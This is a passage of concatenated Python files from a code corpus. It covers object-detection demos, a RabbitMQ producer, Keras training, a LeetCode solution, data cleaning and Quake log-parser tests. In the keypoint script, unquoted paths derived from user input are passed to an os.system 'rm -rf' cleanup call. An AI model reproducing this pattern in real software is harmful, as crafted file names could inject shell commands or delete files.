't']:\n        net = gcv.model_zoo.get_model(args.network, pretrained=True)\n    else:\n        net = gcv.model_zoo.get_model(args.network, pretrained=False)\n        net.load_parameters(args.pretrained)\n    net.set_nms(0.3, 200)\n\n    ax = None\n    for image in image_list:\n        x, img = presets.rcnn.load_test(image, short=args.short, max_size=args.max_size)\n        ids, scores, bboxes = [xx.asnumpy() for xx in net(x)]\n        ax = gcv.utils.viz.plot_bbox(img, bboxes, scores, ids,\n                                     class_names=net.classes, ax=ax)\n        plt.show()\n","sub_path":"scripts/detection/faster_rcnn/demo_faster_rcnn.py","file_name":"demo_faster_rcnn.py","file_ext":"py","file_size_in_byte":2764,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"325635432","text":"# Author: Real   \n# CreateTime 2018/9/6-20:08   \n# IDE: PyCharm\n\nimport pika\n\nconnection = pika.BlockingConnection(\n    pika.ConnectionParameters('localhost')  #相当于创建一个Socket\n\n)\n# 一个很好的比喻就是 channel是消息传递的线路，好像一条高速公路，一条公路上可以跑很多汽车，这些汽车就是queue队列，汽车里的\n# 乘客就是我们要发送的数据本身，所以channel是路线，queue是载体.\n\nchannel = connection.channel() #声明一个管道(路线或者线路)，消息通过管道发送\n\nchannel.queue_declare(queue='hello') #声明消息载体---queue的名字\n\n# 创建发送实例\nchannel.basic_publish(\n    exchange='', #exchange 是消息转送节点\n    routing_key='hello', #routing key 在channel(管道)中定义的queue，也就是消息的载体\n    body='hello world!' #body 是消息内容\n)\n\nconnection.close()","sub_path":"进阶/消息队列/RabbitMQ简单实现/0.RabbitMQ_Producer.py","file_name":"0.RabbitMQ_Producer.py","file_ext":"py","file_size_in_byte":891,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"363308510","text":"from util.data_container import StructTestContainer\nfrom util.data_interface import JsonDAO\nfrom util.plot import Plotter\nimport numpy as np\nfrom matplotlib.pyplot import subplot\n\nlayers_to_test = (2, 4, 5, 8, 10)\nneurons_per_layer_to_test = (3, 5, 10, 15, 20)\n\npaths = ['results/van_der_pol/2020-10-23-07-07-43-nn-structural-test/data.json',\n         'results/van_der_pol/2020-10-23-07-48-25-nn-structural-test/data.json',\n         'results/van_der_pol/2020-10-23-07-58-41-nn-structural-test/data.json',\n         'results/van_der_pol/2020-10-23-08-50-27-nn-structural-test/data.json',\n         'results/van_der_pol/2020-10-23-08-56-52-nn-structural-test/data.json']\n\nfinal_val_losses_matrixes = list()\nval_losses_20 = {4: list(), 5: list(), 8: list(), 10: list()}\nval_losses_10 = {4: list(), 5: list(), 8: list(), 10: list()}\nval_losses_len = 6329 #6360\n\ndao = JsonDAO()\n\nfor path in paths:\n    dictionary = dao.load(path)\n    data_container = StructTestContainer()\n    data_container.results = dictionary\n    final_losses = data_container.get_final_val_losses(layers_to_test, neurons_per_layer_to_test)\n    final_val_losses_matrixes.append(final_losses)\n    \n    for layers in val_losses_10.keys():\n        val_losses_10[layers].append(np.array(data_container.get_val_loss(layers, neurons=10)[:val_losses_len]))\n\n    for layers in val_losses_20.keys():\n        val_losses_20[layers].append(np.array(data_container.get_val_loss(layers, neurons=20)[:val_losses_len]))\n\nfor layers in val_losses_10.keys():\n    val_losses_10[layers] = sum(val_losses_10[layers])/len(val_losses_10[layers])\n    val_losses_20[layers] = sum(val_losses_20[layers])/len(val_losses_20[layers])\n\nplot_matrix = sum(final_val_losses_matrixes)/len(final_val_losses_matrixes)\n\nplotter = Plotter(fontsize=11)\nfigsize=(4.5, 4)\n\nplotter.plot_heatmap(data=np.log10(plot_matrix),\n                     title='$\\log$(MSE)',  # validation\n                     x_label='Neurons per Layer',\n                     y_label='Number of Layers',\n                     row_labels=layers_to_test,\n                     col_labels=neurons_per_layer_to_test,\n                     figsize=figsize)\nloss_len = len(val_losses_10[4])\n\n## -\n\nplotter.plot(x_axis=np.linspace(1, loss_len, loss_len),\n             y_axis_list=list(val_losses_10.values()),\n             labels=[str(layers) + 'L of 10N' for layers in val_losses_10.keys()],\n             title='MSE',\n             x_label='Epoch',\n             y_label=None,\n             y_scale='log',\n             line_styles=['-', '--', '-', '--'])\n\nplotter.plot(x_axis=np.linspace(1, loss_len, loss_len),\n             y_axis_list=list(val_losses_20.values()),\n             labels=[str(layers) + 'L of 20N' for layers in val_losses_20.keys()],\n             title='MSE',\n             x_label='Epoch',\n             y_label=None,\n             y_scale='log',\n             line_styles=['-', '--', '-', '--'])\nplotter.show()\n","sub_path":"structural_test_avg_plot.py","file_name":"structural_test_avg_plot.py","file_ext":"py","file_size_in_byte":2909,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"559763417","text":"from keras.applications.mobilenetv2 import MobileNetV2\nfrom keras import models, layers, optimizers\nfrom keras.preprocessing.image import ImageDataGenerator\nfrom datetime import datetime\nimport time\nimport os\nimport pandas as pd\nfrom sklearn.model_selection import train_test_split\nfrom google.cloud import storage\nimport trainers\nfrom trainers.common import TimeHistory\n\nDATA_PATH = os.path.dirname(os.path.realpath(__file__)) + \"/data/\"\nBATCH_SIZE = 20\n\n\nif __name__ == \"__main__\":\n\n    # initialize convolutional base\n    conv_base = MobileNetV2(\n        weights=\"imagenet\",\n        input_shape=(224, 224, 3),\n        include_top=False,  # exclude the densely connected classifer, which sits on top of hte convolutional network\n    )\n    conv_base.trainable = False\n\n    # initialize Sequential model and Dense players\n    model = models.Sequential()\n    model.add(conv_base)\n    model.add(layers.Flatten())\n    model.add(layers.Dense(640, activation=\"relu\", input_dim=(7 * 7 * 1280)))\n    model.add(layers.Dense(1, activation=\"sigmoid\"))\n\n    # initialize image data generators\n\n    # augment training data to produce a model capable of handling data variations\n    train_datagen = ImageDataGenerator(\n        rescale=1.0\n        / 255,  # rescale to target values between 0 and 255 (default between 0 and 1)\n        rotation_range=40,  # train on variations rotated up to 40 degrees\n        width_shift_range=0.2,  # train using variations off-center on x-axis by factor of 0.2\n        height_shift_range=0.2,  # train using variations off-center on y-axis by a factor of 0.2\n        shear_range=0.2,  # train using variations sheared/warped by a factor of 0.2\n        zoom_range=0.2,  # train using variations zoomed by a factor of 0.2\n        horizontal_flip=True,  # x-axis flip\n        vertical_flip=True,  # y-axis flip\n    )\n\n    test_datagen = ImageDataGenerator(\n        rescale=1.0\n        / 255  # rescale to target values between 0 and 255 (default between 0 and 1)\n    )\n\n    # walk through './data/shapes' and load filenames into a dataframe with labels\n    # read from fs\n    root, dirs, files = next(os.walk(DATA_PATH))\n\n    samples_df = pd.DataFrame(\n        [\n            {\n                \"label\": file.split(\"_\")[0],  # filename format '<label>_<int>.png'\n                \"filename\": file,\n            }\n            for file in files\n            if file.endswith(\".png\")\n        ]\n    )\n\n    train_df, validation_df = train_test_split(samples_df, test_size=0.25)\n\n    train_df.reset_index(inplace=True, drop=True)\n    validation_df.reset_index(inplace=True, drop=True)\n\n    train_generator = train_datagen.flow_from_dataframe(\n        dataframe=train_df,\n        directory=DATA_PATH,\n        batch_size=BATCH_SIZE,\n        class_mode=\"binary\",  # use binary labels for binary_crossentropy loss calculations\n        target_size=(224, 224),\n        y_col=\"label\",\n    )\n\n    validation_generator = test_datagen.flow_from_dataframe(\n        dataframe=validation_df,\n        directory=DATA_PATH,\n        batch_size=BATCH_SIZE,\n        class_mode=\"binary\",  # use binary labels for binary_crossentropy loss calculations\n        target_size=(224, 224),\n        y_col=\"label\",\n        classes=[\"square\", \"circle\", \"triangle\"],\n    )\n\n    model.compile(\n        loss=\"binary_crossentropy\", optimizer=optimizers.Adam(), metrics=[\"accuracy\"]\n    )\n\n    time_callback = TimeHistory()\n\n    # https://stackoverflow.com/questions/43178668/record-the-computation-time-for-each-epoch-in-keras-during-model-fit\n    history = model.fit_generator(\n        train_generator,\n        epochs=10,\n        validation_data=validation_generator,\n        callbacks=[time_callback],\n    )\n\n    model.save(\"./shapes_model.h5\")\n\n    storage_client = storage.Client()\n    bucket = storage_client.get_bucket(\"raspberry-pi-vision\")\n    blob = bucket.blob(\n        \"shapes/models/{0}_{1}\".format(trainers.__version__, datetime.utcnow())\n    )\n    blob.upload_from_filename(filename=\"./shapes_model.h5\")\n","sub_path":"trainers/shapes/task.py","file_name":"task.py","file_ext":"py","file_size_in_byte":3992,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"341344366","text":"\"\"\"\nBinary Trees With Factors\nGiven an array of unique integers, arr, where each integer arr[i] is strictly greater than 1.\n\nWe make a binary tree using these integers, and each number may be used for any number of times. Each non-leaf node's value should be equal to the product of the values of its children.\n\nReturn the number of binary trees we can make. The answer may be too large so return the answer modulo 109 + 7.\n\n\n\nExample 1:\n\nInput: arr = [2,4]\nOutput: 3\nExplanation: We can make these trees: [2], [4], [4, 2, 2]\nExample 2:\n\nInput: arr = [2,4,5,10]\nOutput: 7\nExplanation: We can make these trees: [2], [4], [5], [10], [4, 2, 2], [10, 2, 5], [10, 5, 2].\n\n\nConstraints:\n\n1 <= arr.length <= 1000\n2 <= arr[i] <= 109\n\"\"\"\nfrom functools import lru_cache\nfrom typing import List\n\n\nclass Solution:\n    def numFactoredBinaryTrees(self, arr: List[int]) -> int:\n        # Solution 1 - 108 ms\n        \"\"\"\n        c = 0\n        arr.sort()\n        d = {}\n        for i in arr:\n            no = 1\n            limit = i ** .5\n            for j in arr:\n                if j > limit:\n                    break\n                if i % j == 0 and (f2 := i // j) in d:\n                    no += 2 * d[j] * d[f2] if j != f2 else d[j] * d[f2]\n            d[i] = no\n            c += no\n        return c % (10 ** 9 + 7)\n        \"\"\"\n        # Solution 2 - 104 ms\n        arr.sort()\n\n        ss = set(arr)\n\n        @lru_cache(None)\n        def process(val):\n            ans = 1\n\n            for x in arr:\n                if x * x <= val:\n                    if val % x == 0 and (val // x) in ss:\n                        cnt = process(x) * process(val // x)\n                        if x != val // x:\n                            cnt += cnt\n                        ans += cnt\n                else:\n                    break\n\n            return ans\n\n        ans = 0\n        for x in arr:\n            v = process(x)\n            # print(x, v)\n            ans += v\n\n        return ans % (10 ** 9 + 7)\n\n\n# Main Call\narr = [2, 4]\n\nsolution = Solution()\nprint(solution.numFactoredBinaryTrees(arr))\n","sub_path":"src/arrays/numFactoredBinaryTrees.py","file_name":"numFactoredBinaryTrees.py","file_ext":"py","file_size_in_byte":2073,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"179879590","text":"import os\nimport torch\nimport argparse\nimport numpy as np\nfrom erode import erode\nfrom color_diff import contour\nfrom keypoint_detection import mark_keypoints\n\nparser = argparse.ArgumentParser()\nparser.add_argument('--keypoint_model', '-m', default='./utils/pose_iter_102000.caffemodel', metavar='FILE', help=\"Specify the file in which is stored the keypoint model is stored\")\nparser.add_argument('--cpu', '-c', action='store_true', help=\"Do not use the cuda version of the net\", default=False)\nparser.add_argument('--input', help='Input image', default='hand.png')\nargs = parser.parse_args()\n\nif(not os.path.isfile((args.keypoint_model))):\n    os.system(\"source ./download_keypoint.sh\")\n\ndef get_key_points(inputpath, outputpath):\n    segmentpath = inputpath.split(\".\")[:-1][0] + \"_seg.\" + inputpath.split(\".\")[-1]\n    erodepath = inputpath.split(\".\")[:-1][0] + \"_erod.\" + inputpath.split(\".\")[-1]\n    contour(inputpath, segmentpath)\n    erode(inputpath, segmentpath, erodepath)\n    op = mark_keypoints(inputpath, outputpath, segmentpath)\n    os.system(\"rm -rf {} {}\".format(segmentpath, erodepath))\n    return op\n\n\nif __name__ == '__main__':\n    output = args.input.split(\".\")[:-1][0] + \"_out.\" + args.input.split(\".\")[-1]\n    points, p_info = get_key_points(args.input, output)\n    print(points, p_info)","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1306,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"464335436","text":"\"\"\"\nModule implementing the graph stitcher.\n\"\"\"\n\nimport json\nimport os\n\n\nclass Stitcher(object):\n    \"\"\"\n    A stitcher.\n    \"\"\"\n\n    def __init__(self, filename=None):\n        \"\"\"\n        Initiate the stitcher.\n        \"\"\"\n        if filename is None:\n            filename = os.path.dirname(os.path.abspath(__file__)) + os.sep + \\\n                       '..' + os.sep + 'data' + os.sep + 'stitch.json'\n        self.rels = json.load(open(filename, 'r'))\n\n    def stitch(self, container, request, conditions=None):\n        \"\"\"\n        Stitch a request graph into an existing graph container. Returns a set\n        of possible options.\n\n        :param container: A graph describing the existing container with\n            ranks.\n        :param request: A graph describing the request.\n        :param conditions: Dictionary with conditions - e.g. node a & b need\n            to be related to node c.\n        :return: List of resulting graphs(s).\n        \"\"\"\n        raise NotImplementedError('Not implemented yet.')\n","sub_path":"stitcher/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":1013,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"634425354","text":"# -*- coding: utf-8 -*-\n\nimport json\n\n#JSON读取\ndef json2data(fileName):\n    data = json.load(open(fileName,'r',encoding='utf-8'))\n    return data\n\n#dict所有原材料\ndef distAllIngredients(fileName):\n    data = json2data(fileName)\n    ingreDict = {}\n    for item in data:\n        ingredients = item['ingredients']\n        for ingredient in ingredients:\n            if(ingredient not in ingreDict):\n            \tingreDict[ingredient] = 1\n            else:\n            \tingreDict[ingredient] += 1\n    return ingreDict\n\n#dict原材料及对应类别\ndef distIngredientsAndCuisine(fileName):\n    data = json2data(fileName)\n    ingreAndCuiDict = {}\n    for item in data:\n        cuisine = item['cuisine']\n        ingredients = item['ingredients']\n        for ingredient in ingredients:\n            if(ingredient not in ingreAndCuiDict):\n            \tingreAndCuiDict[ingredient] = {cuisine:1}\n            else:\n                if cuisine not in ingreAndCuiDict[ingredient]:\n                    ingreAndCuiDict[ingredient][cuisine] = 1\n                else:\n                    ingreAndCuiDict[ingredient][cuisine] += 1\n    return ingreAndCuiDict\n\n#list训练数据\ndef trainJson2List(fileName):\n    data = json2data(fileName)\n    trainList = []\n    for item in data:\n        ID = item['id']\n        cuisine = item['cuisine']\n        ingredients = []\n        ingredItems = item['ingredients']\n        for ingredient in ingredItems:\n            ingredients.append(ingredient)\n        trainList.append([ID,cuisine,ingredients])\n    return trainList\n\n#list测试数据\ndef testJson2List(fileName):\n    data = json2data(fileName)\n    testList = []\n    for item in data:\n        ID = item['id']\n        ingredients = []\n        ingredItems = item['ingredients']\n        for ingredient in ingredItems:\n            ingredients.append(ingredient)\n        testList.append([ID,ingredients])\n    return testList\n\n#清洗训练list\ndef trainListClean(trainList,commonIngred):\n    cleanedTrainList = []\n    for t in trainList:\n        ID = t[0]\n        cuisine = t[1]\n        ingreds = []\n        for ingred in t[2]:\n            if ingred in commonIngred:\n                ingreds.append(ingred)\n        cleanedTrainList.append([ID,cuisine,ingreds])\n    return cleanedTrainList\n\n#清洗测试list\ndef testListClean(testList,commonIngred):\n    cleanedTestList = []\n    for t in testList:\n        ID = t[0]\n        ingreds = []\n        for ingred in t[1]:\n            if ingred in commonIngred:\n                ingreds.append(ingred)\n        cleanedTestList.append([ID,ingreds])\n    return cleanedTestList\n\n#读取原材料\ntrainDict = distAllIngredients('train.json')\ntestDict = distAllIngredients('test.json')\ningreAndCuiDict = distIngredientsAndCuisine('train.json')\n\n#json转list\ntrainList = trainJson2List('train.json')\ntestList = testJson2List('test.json')\n\n#统计训练数据原材料\ntrainIngred = list(trainDict.keys())\nnumInTrain = len(trainIngred)\nprint('训练数据原材料种类：' + str(numInTrain))\n\n#统计测试数据原材料\ntestIngred = list(testDict.keys())\nnumInTest = len(testIngred)\nprint('测试数据原材料种类：' + str(numInTest))\n\n#统计公共原材料\nnumInTrainAndTest = 0\ncommonIngred = {}\nfor key in trainDict:\n    if key in testDict:\n        numInTrainAndTest += 1\n        commonIngred[key] = 1\nprint('公共原材料种类：' + str(numInTrainAndTest))\n\n#统计特殊原材料\nnumSpecialIngre = 0\nspecialIngred = {}\nfor key in commonIngred:\n    if(len(ingreAndCuiDict[key]) == 1):\n        numSpecialIngre += 1\n        specialIngred[key] = list(ingreAndCuiDict[key].keys())[0]\n        #print(str(numSpecialIngre) + ' ' + key + str(ingreAndCuiDict[key]))\nprint('特殊原材料种类：' + str(numSpecialIngre))\n\n#剔除特殊原材料\nnumCleanedCommonIngred = 0\ncleanedCommonIngred = {}\nfor key in commonIngred:\n    if(key not in specialIngred):\n        numCleanedCommonIngred += 1\n        cleanedCommonIngred[key] = 1\nprint('用于训练原材料种类：' + str(numCleanedCommonIngred))\n\n\n#清洗list\ncleanedTrainList = trainListClean(trainList,cleanedCommonIngred)\ncleanedTestList = testListClean(testList,cleanedCommonIngred)\ncleanedIngred = list(cleanedCommonIngred.keys())\n\n","sub_path":"cleanData.py","file_name":"cleanData.py","file_ext":"py","file_size_in_byte":4206,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"630474002","text":"from quakestats.dataprovider.quake3 import Q3MatchFeeder, FeedFull\nfrom quakestats.dataprovider.quakelive import QLMatchFeeder\nfrom quakestats.dataprovider.quakelive import collector\nfrom quakestats import dataprovider\nfrom quakestats.dataprovider import quake3\nimport datetime\nimport json\nimport pytest\nimport mock\nfrom contextlib import ExitStack\n\n\n# TODO use some better approach for test data\nTEST_DATA_PATH = './sampledata/quakelive/ca-full.json'\nQ3_MATCH = './sampledata/match.log'\n\n\nclass MatchHelper():\n    def __init__(self, data):\n        self.data = data\n\n    def get_event(self, _type):\n        for entry in self.data['EVENTS']:\n            if entry['TYPE'] == _type:\n                return entry\n        raise Exception(\"Missing event {}\".format(_type))\n\n    def match_report(self):\n        return self.get_event('MATCH_REPORT')\n\n    def match_start(self):\n        return self.get_event('MATCH_STARTED')\n\n\n@pytest.fixture\ndef q3_full_match():\n    with open(Q3_MATCH) as fh:\n        data = fh.read()\n        return data\n\n\n@pytest.fixture\ndef ql_ca_full():\n    with open(TEST_DATA_PATH) as fh:\n        data = fh.read()\n\n    match_info = json.loads(data)\n    return MatchHelper(match_info)\n\n\nclass TestQuakeLive():\n    def test_ql_match_feeder(self, ql_ca_full):\n        feeder = QLMatchFeeder()\n        for event in ql_ca_full.data['EVENTS']:\n            feeder.feed(event)\n\n    def test_ql_match_feeder_full(self):\n        events = [\n            {'DATA': {'MATCH_GUID': '123'}},\n            {'DATA': {'MATCH_GUID': '125'}},\n        ]\n\n        feeder = QLMatchFeeder()\n        feeder.feed(events[0])\n        feeder.feed(events[0])\n        with pytest.raises(FeedFull):\n            feeder.feed(events[1])\n\n        result = feeder.consume()\n        assert len(result['EVENTS']) == 2\n        feeder.feed(events[1])\n\n\nclass TestQuake3():\n    data = (\n        \"\"\"13.0 ShutdownGame:\n13.0 ------------------------------------------------------------\n13.0 ------------------------------------------------------------\n\"\"\")\n    server_time = (\n        \"\"\"0.0 ServerTime: 20170621112912  11:29:12 (21 Jun 2017)\"\"\")\n\n    def test_q3_to_ql(self, q3_full_match):\n        feeder = Q3MatchFeeder()\n        matches = []\n        for line in q3_full_match.splitlines():\n            try:\n                feeder.feed(line)\n            except FeedFull:\n                match = feeder.consume()\n                matches.append(match)\n\n        game = matches[-1]\n\n        transformer = quake3.Q3toQL(game['EVENTS'])\n        transformer.process()\n\n    def test_q3_to_ql_extract(self):\n        data = \"15.6 ServerTime:    20170623124300  12:43:00 (23 Jun 2017)\"\n\n        transformer = quake3.Q3toQL([])\n        ts, name, args = transformer.extract(data)\n        assert ts == 15.6\n        assert name == \"ServerTime\"\n        assert args == \"20170623124300  12:43:00 (23 Jun 2017)\"\n\n        data = \"15.7 Game End:\"\n        ts, name, args = transformer.extract(data)\n        assert ts == 15.7\n        assert name == \"Game End\"\n        assert args == \"\"\n\n    def test_q3_to_ql_process_server_time(self):\n        data = \"15.6 ServerTime:    20170623124301  12:43:01 (23 Jun 2017)\"\n        transformer = quake3.Q3toQL([])\n        si = transformer.result['server_info']\n        si['gametype'] = 'FFA'\n        si['timelimit'] = 15\n        si['fraglimit'] = 200\n        si['capturelimit'] = 8\n        si['mapname'] = 'q3dm6'\n        si['sv_hostname'] = 'MyServ'\n        event = transformer.process_raw_event(data)\n        result = transformer.result\n\n        assert result['start_date'] == datetime.datetime(2017, 6, 23, 12, 43, 1)\n\n        assert event['TYPE'] == 'MATCH_STARTED'\n        evd = event['DATA']\n        assert evd['GAME_TYPE'] == 'FFA'\n        assert evd['TIME_LIMIT'] == 15\n        assert evd['FRAG_LIMIT'] == 200\n        assert evd['CAPTURE_LIMIT'] == 8\n        assert evd['MAP'] == 'q3dm6'\n        assert evd['SERVER_TITLE'] == 'MyServ'\n\n    def test_q3_to_ql_process_warmup(self):\n        data = \"15.6 Warmup:\"\n        transformer = quake3.Q3toQL([])\n        result = transformer.result\n        assert not result['warmup']\n        transformer.process_raw_event(data)\n        assert result['warmup']\n\n    def test_q3_to_ql_ts2match_time(self):\n        transformer = quake3.Q3toQL([])\n        with pytest.raises(AssertionError):\n            transformer.ts2match_time(10)\n\n        transformer.time_offset = 10\n        res = transformer.ts2match_time(15)\n        assert res == 5\n\n        with pytest.raises(AssertionError):\n            transformer.ts2match_time(5)\n\n    def test_q3_to_ql_process_user_info(self):\n        data = (\n            r\"0.2 ClientUserinfoChanged: 2 \"\n            r\"n\\Bartoszer\\t\\0\\model\\xaero/default\\hmodel\\xaero/default\"\n            r\"\\c1\\4\\c2\\5\\hc\\100\\w\\0\\l\\0\\rt\\0\\st\\0\")\n        transformer = quake3.Q3toQL([])\n        transformer.time_offset = 0.1\n        transformer.server_domain = \"mydomain\"\n        transformer.match_guid = 'dummy'\n        result = transformer.process_raw_event(data)\n\n        assert transformer.players\n        player_info = list(transformer.players.values())[0]\n        assert player_info['name'] == 'Bartoszer'\n        assert player_info['model'] == r'xaero/default'\n\n        player_id = transformer.client_player_map['2']\n        assert player_id\n        assert transformer.players[player_id] is player_info\n\n        ev = result[0]\n        assert ev['TYPE'] == 'PLAYER_CONNECT'\n        evd = ev['DATA']\n        assert evd['MATCH_GUID'] == 'dummy'\n        assert evd['NAME'] == 'Bartoszer'\n        assert evd['STEAM_ID']\n        assert evd['TIME'] == 0.1\n        assert evd['WARMUP'] is False\n\n        ev = result[1]\n        assert ev['TYPE'] == 'PLAYER_SWITCHTEAM'\n        assert ev['DATA']['KILLER']['NAME'] == 'Bartoszer'\n        assert ev['DATA']['KILLER']['OLD_TEAM'] == 'SPECTATOR'\n        assert ev['DATA']['KILLER']['TEAM'] == 'FREE'\n\n    def test_q3_to_ql_process_user_info_twice_same_team(self):\n        data = (\n            r\"0.2 ClientUserinfoChanged: 2 \"\n            r\"n\\Bartoszer\\t\\0\\model\\xaero/default\\hmodel\\xaero/default\"\n            r\"\\c1\\4\\c2\\5\\hc\\100\\w\\0\\l\\0\\rt\\0\\st\\0\")\n        data2 = (\n            r\"0.2 ClientUserinfoChanged: 2 \"\n            r\"n\\Bartoszer\\t\\0\\model\\sarge/default\\hmodel\\xaero/default\"\n            r\"\\c1\\4\\c2\\5\\hc\\100\\w\\0\\l\\0\\rt\\0\\st\\0\")\n        transformer = quake3.Q3toQL([])\n        transformer.time_offset = 0.1\n        transformer.server_domain = \"mydomain\"\n        transformer.match_guid = 'dummy'\n        transformer.process_raw_event(data)\n\n        assert transformer.players\n        player_info = list(transformer.players.values())[0]\n        assert player_info['name'] == 'Bartoszer'\n        assert player_info['model'] == r'xaero/default'\n\n        events = transformer.process_raw_event(data2)\n        assert events == []\n\n        assert len(transformer.players) == 1\n        player_info = list(transformer.players.values())[0]\n        assert player_info['model'] == r'sarge/default'\n\n    def test_q3_to_ql_process_user_info_twice_change_team(self):\n        data = (\n            r\"0.2 ClientUserinfoChanged: 2 \"\n            r\"n\\Bartoszer\\t\\3\\model\\xaero/default\\hmodel\\xaero/default\"\n            r\"\\c1\\4\\c2\\5\\hc\\100\\w\\0\\l\\0\\rt\\0\\st\\0\")\n        data2 = (\n            r\"0.2 ClientUserinfoChanged: 2 \"\n            r\"n\\Bartoszer\\t\\0\\model\\sarge/default\\hmodel\\xaero/default\"\n            r\"\\c1\\4\\c2\\5\\hc\\100\\w\\0\\l\\0\\rt\\0\\st\\0\")\n        transformer = quake3.Q3toQL([])\n        transformer.time_offset = 0.1\n        transformer.server_domain = \"mydomain\"\n        transformer.match_guid = 'dummy'\n        transformer.process_raw_event(data)\n\n        assert transformer.players\n        player_info = list(transformer.players.values())[0]\n        assert player_info['name'] == 'Bartoszer'\n        assert player_info['model'] == r'xaero/default'\n\n        events = transformer.process_raw_event(data2)\n        assert len(events) == 1\n        ev = events[0]\n        assert ev['TYPE'] == 'PLAYER_SWITCHTEAM'\n        assert ev['DATA']['TIME'] == 0.1\n        assert ev['DATA']['WARMUP'] is False\n        assert ev['DATA']['MATCH_GUID'] == 'dummy'\n        assert ev['DATA']['KILLER']['NAME'] == 'Bartoszer'\n        assert ev['DATA']['KILLER']['STEAM_ID']\n        assert ev['DATA']['KILLER']['OLD_TEAM'] == 'SPECTATOR'\n        assert ev['DATA']['KILLER']['TEAM'] == 'FREE'\n\n    @pytest.mark.xfail\n    def test_q3_to_ql_process_client_info_changed_same_nick(self):\n        # This test is not incorrect at the moment\n        # multiple clients may be present the same,\n        # unique id is assigned during connection and\n        # changed later\n        data = (\n            r\"0.2 ClientUserinfoChanged: 2 \"\n            r\"n\\Bartoszer\\t\\3\\model\\xaero/default\\hmodel\\xaero/default\"\n            r\"\\c1\\4\\c2\\5\\hc\\100\\w\\0\\l\\0\\rt\\0\\st\\0\")\n        data2 = (\n            r\"0.2 ClientUserinfoChanged: 3 \"\n            r\"n\\Bartoszer\\t\\0\\model\\sarge/default\\hmodel\\xaero/default\"\n            r\"\\c1\\4\\c2\\5\\hc\\100\\w\\0\\l\\0\\rt\\0\\st\\0\")\n\n        transformer = quake3.Q3toQL([])\n        transformer.time_offset = 0.1\n        transformer.server_domain = \"mydomain\"\n        transformer.match_guid = 'dummy'\n\n        transformer.process_raw_event(data)\n        with pytest.raises(AssertionError):\n            transformer.process_raw_event(data2)\n\n    def test_q3_to_ql_process_kill(self):\n        data = (\n            r\"0.2 ClientUserinfoChanged: 2 \"\n            r\"n\\Bartoszer\\t\\3\\model\\xaero/default\\hmodel\\xaero/default\"\n            r\"\\c1\\4\\c2\\5\\hc\\100\\w\\0\\l\\0\\rt\\0\\st\\0\")\n        data2 = (\n            r\"0.2 ClientUserinfoChanged: 3 \"\n            r\"n\\Bolek\\t\\0\\model\\sarge/default\\hmodel\\xaero/default\"\n            r\"\\c1\\4\\c2\\5\\hc\\100\\w\\0\\l\\0\\rt\\0\\st\\0\")\n        data3 = (\n            r\"884.3 Kill: 2 3 7: Bartoszer killed Bolek by MOD_ROCKET_SPLASH 5\")\n\n        transformer = quake3.Q3toQL([])\n        transformer.time_offset = 0.1\n        transformer.server_domain = \"mydomain\"\n        transformer.match_guid = 'dummy'\n\n        transformer.process_raw_event(data)\n        transformer.process_raw_event(data2)\n\n        events = transformer.process_raw_event(data3)\n        ev = events[0]\n        assert ev['TYPE'] == 'PLAYER_KILL'\n        assert ev['DATA']['MATCH_GUID'] == 'dummy'\n        assert ev['DATA']['MOD'] == 'ROCKET_SPLASH'\n        assert int(ev['DATA']['TIME']) == 884\n\n        assert ev['DATA']['KILLER']['NAME'] == 'Bartoszer'\n        assert ev['DATA']['KILLER']['STEAM_ID']\n        assert ev['DATA']['KILLER']['TEAM'] == '3'\n\n        assert ev['DATA']['VICTIM']['NAME'] == 'Bolek'\n        assert ev['DATA']['VICTIM']['STEAM_ID']\n        assert ev['DATA']['VICTIM']['TEAM'] == '0'\n\n        evd = events[1]\n        assert evd['TYPE'] == 'PLAYER_DEATH'\n        assert evd['DATA'] == ev['DATA']\n\n    def test_q3_to_ql_process_exit(self):\n        transformer = quake3.Q3toQL([])\n        transformer.server_domain = \"mydomain\"\n        transformer.match_guid = 'dummy'\n        data = (\n            r'10.0 InitGame: \\dmflags\\0\\fraglimit\\200\\timelimit\\15'\n            r'\\sv_hostname\\MY Q3\\sv_maxclients\\32\\sv_minRate\\0\\sv_maxRate\\0'\n            r'\\sv_dlRate\\100\\sv_minPing\\0\\sv_maxPing\\0\\sv_floodProtect\\0'\n            r'\\sv_allowDownload\\1\\sv_dlURL\\http://10.40.3.11:8000/\\capturelimit\\8'\n            r'\\version\\ioq31.36+u20160616+dfsg1-1/'\n            r'Ubuntu linux-x86_64 Jun 27 2016\\com_gamename\\Quake3Arena'\n            r'\\com_protocol\\71\\g_gametype\\0\\mapname\\nodm9\\sv_privateClients\\0'\n            r'\\server_ospauth\\0\\gamename\\osp\\gameversion\\OSP v1.03a'\n            r'\\Players_Active\\1 2 3 4 5 6 7 8 \\server_promode\\0\\g_needpass\\0\\server_freezetag\\0'\n        )\n        data1 = (\n            \"15.6 ServerTime:    20170623124301  12:43:01 (23 Jun 2017)\")\n        data2 = (\n            r'915.6 Exit: Timelimit hit.')\n        transformer.process_raw_event(data)\n        assert transformer.time_offset == 10\n        assert transformer.match_report_event is None\n        transformer.process_raw_event(data1)\n        assert transformer.result['start_date']\n\n        transformer.process_raw_event(data2)\n        ev = transformer.match_report_event\n        assert ev\n        assert ev['TYPE'] == 'MATCH_REPORT'\n        assert ev['DATA']['MAP'] == 'nodm9'\n        assert ev['DATA']['GAME_LENGTH'] == 905.6\n        assert ev['DATA']['GAME_TYPE'] == 'FFA'\n        assert ev['DATA']['EXIT_MSG'] == 'Timelimit hit.'\n        assert transformer.result['finish_date']\n\n    def test_q3_to_ql_player_disconnected(self):\n        data1 = (\n            r\"0.2 ClientUserinfoChanged: 1 \"\n            